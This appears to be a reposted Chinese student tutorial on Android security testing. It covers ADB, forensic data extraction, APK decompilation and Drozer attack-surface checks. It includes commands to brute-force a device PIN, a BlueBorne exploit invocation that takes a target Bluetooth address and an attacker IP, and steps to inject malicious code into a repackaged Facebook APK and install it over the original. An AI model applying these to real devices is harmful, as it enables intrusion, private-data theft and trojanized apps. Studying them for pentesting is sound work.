测试Android应用程序的逆向方法和寻找攻击面的技巧
转载自公众号:freebuf
背景
在过去的这个学期里,我报名参加了一个网络安全的课程。在期末考时我们的教授允许我们自己选择测试项目来完成,并作为期末考的成绩而无需再参加期末笔试。我立马抓住了这个机会(呵呵,谁想参加期末考呢?),我希望通过实践来了解更多关于移动安全方面的内容。
在研究和阅读了相关的技术文档后,我决定自己写一篇教程。这是我人生中的第一篇与移动相关的教程文章,因此它可能并不全面。但我相信分享即是关怀,所以如果你有任何的意见或建议,可以随时与我取得联系。
Android 架构
在Android架构中有5个层:应用程序,应用程序框架,库,运行时环境和Linux内核层。
应用程序层包含由用户安装的本机应用和第三方应用。应用程序框架层提供管理和控制应用程序层的服务,包括4个组件:活动,内容,服务,通知和广播。库层控制和访问应用程序数据。运行时包括Dalvik VM,所有java文件都以Dalvik格式(dex)进行转换,以在运行之前进行优化。内核层控制核心服务,如电源控制,安全性,硬件,内存管理等。
工具
我们先来下载Santoku。这是一个非常棒的开源虚拟机,专用于移动取证,分析和安全性。其中包含了我使用的所有工具。
- VM: Santoku (https://santoku-linux.com/download/)
准备
在开始之前,你需要将手机置于开发者模式,并打开USB调试。设置步骤如下:
设置 -> 关于手机 -> 版本号 -> 连击7次 -> 开发者设置模式打开 -> 转到USB调试 -> 启用
现在你可以将手机连接到计算机,并检查是否成功:
adb devices -l
image
一旦成功连接,你应该能够通过以上命令列出该设备。注意设备ID,你可以使用该ID来打开shell。
接下来,打开一个shell:
adb -s ce20c6e4 shell
image
现在,你就可以像在Linux环境中一样,例如列出所有文件及其权限:
image image这里有一篇关于爆破安卓PIN 码的文章:https://santoku-linux.com/howto/mobile-forensics/how-to-brute-force-android-encryption/
Header
$ adb shell dd if=/dev/block/mmcblk0p2 of=tmp_header bs=512 count=1$ adb pull tmp_header ~/Desktop/tmp_header
Footer
$ adb shell mkdir /efs$ adb shell mount -t yaffs2 /dev/block/mtdblock6 /efs$ adb pull /efs/userdata_footer ~/Desktop/tmp_footer
爆破 PIN:
$ bruteforce_stdcrypto ~/Desktop/t/tmp_header ~/Desktop/t/tmp_footer
另一件非常有趣的事是启动tcpdump来收集一些数据包,并使用Wireshark来读取流量:
adb shell “tcpdump -s 0 -w — | nc -l -p 4444”
adb forward tcp:4444 tcp:4444
nc localhost 4444 | sudo wireshark -k -S -i
移动取证
接下来,我将用到一个在移动取证方面非常棒的工具AFLogical OSE。如果你想要提取出所有的文件,例如呼叫日志,mms,短信,图片,手机上安装的应用程序,其版本……等,这个工具将能帮到你。
image导航到取证文件夹可以看到,提取的文件分别被放置在以日期命名的不同文件夹当中:
image注意:这是我测试的Android手机,我只在Defcon期间使用…因此只有3个日期的数据。单击相应的文件夹后你可以看到如下内容:
image.gif我们双击打开一个csv文件内容如下:
image以及打开info.xml文件,如下所示:
image有趣的还在后头:
- 使用Blueborne解决手机的蓝牙问题(详情请参阅:https://armis.com/blueborne/)
$ sudo apt-get install libbluetooth-dev$sudo pip2 install pybluez pwn scapy
要运行漏洞利用程序,此存储库的根目录必须位于PYTHONPATH中。
$ export PYTHONPATH=$PYTHONPATH:<repo-path>$ sudo python2 doit.py hci0 <target-bdaddr> <attacker-ip>
逆向一个 APK
在Android手机上对应用进行逆向实际上非常的容易。所需的工具及步骤如下:
工具
USB Debugger
Dex2jar
JD-Gui
步骤
从手机中提取的info.xml列表中下载应用程序
将应用程序反编译为.java文件
插入恶意代码并确保它可以运行
签名最终的apk文件
在用户手机上安装apk文件 - 替换原始应用程序
APK是一个压缩包,包含开发人员编译的证书,文件,清单,资源和dex代码。要获取应用程序的apk,你只需简单的网络搜索即可。
image.gif示例下载:Facebook(57.2mb),Skype(~30.7mb)和Twitter(29.8mb)。这里我将以Facebook apk文件为例。
首先,使用dex2jar来提取apk。之后,该工具会将所有新的.dex apk转换后的文件保存到.jar文件中。
image文件夹中的内容如下:
image要查看jar文件的源码,需要用到一个名为JD-GUI的工具。JD-GUI是一个Java反编译工具。现在,我们可以看到来自Facebook的所有声明的函数和源码。此时,所有文件都是可读和可修改的:
image对于那些想要尝试将一些代码添加到应用程序并重新打包的人,以下是一个很好的例子:
$ adb connect 10.0.2.5$ adb pull /system/framework/framework-res.apk $ apktool if framework-res.apk$ apktool d -r 你新的app名称.apk # 安装你的app
Open打开 - 修改现有的smali文件并创建恶意代码放到smali/com文件夹中。然后使用apktool重新打包b -f [app之前的名称]( - f覆盖现有文件)
创建一个用于签名 apk 文件的密钥:
keytool -alias am -genkey -v -keystore my-release-key.keystore-keyalg RSA -keysize 2048 -validity 10000
签名 apk 文件:
$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1-keystore my-releasekey.keystore [your-old-app-name].apk [$ jarsigner -keystore debug.keystore -sigalg SHA1withRSA test.apk androiddebugkey$ jarsigner -keystore debug.keystore -verify -verbose -certs test.apk]
安装新apk文件:
$ adb install [你的app名称].apk
漏洞查找
接下来,最后我们将用到一个名为Drozer的工具(https://github.com/mwrlabs/drozer)。
Drozer 简介
Drozer是MWR Labs开发的一款Android安全测试框架,是目前最好的Android安全测试工具之一。它允许你以一个普通android应用的身份与其他应用和操作系统交互。在Web世界已经有了许多安全测试工具了,我们只需要给出一个目标,这些工具就会自动为我们安全测试报告。但Drozer与这样的自动化扫描器不同,Drozer是一种交互式的安全测试工具。使用Drozer进行安全测试,用户在自己的工作站上输入命令,Drozer会将命令发送到Android设备上的代理程序执行。
Drozer 安装
$ adb install drozer-agent.apk
接下来,由于Drozer默认运行在31415端口上,我们可以将当前的adb端口转发到默认的Drozer端口。
$ adb forward tcp:31415 tcp:31415Start a drozer session over default port 31415:$ drozer console connect
成功连接后应该会显示一个小的Android图标和运行界面在你的手机上。
一些你可能会用到的Drozer命令:list,shell,clean,load,module,unset,set,shell,run MODULE。
例如,检索所有包列表的信息:
dz> run app.package.list
确定一个攻击面(用你的应用程序名替换):
dz> run app.package.attacksurface sie571.sie571
最后,我为大家找了一些有关使用Drozer进行app渗透测试的技术文章。如果你对此感兴趣,建议你花些时间来阅读它们。
https://github.com/tanprathan/MobileApp-Pentest-Cheatsheet
https://www.tutorialspoint.com/android_penetration_testing/android_penetration_testing_overview.asp
https://learn.techbeacon.com/units/how-get-started-mobile-penetration-testing-android
https://www.owasp.org/index.php/OWASP_Mobile_Security_Testing_Guide
https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf
https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref
*参考来源:usejournal,FB小编secist编译,转载请注明来自FreeBuf.COM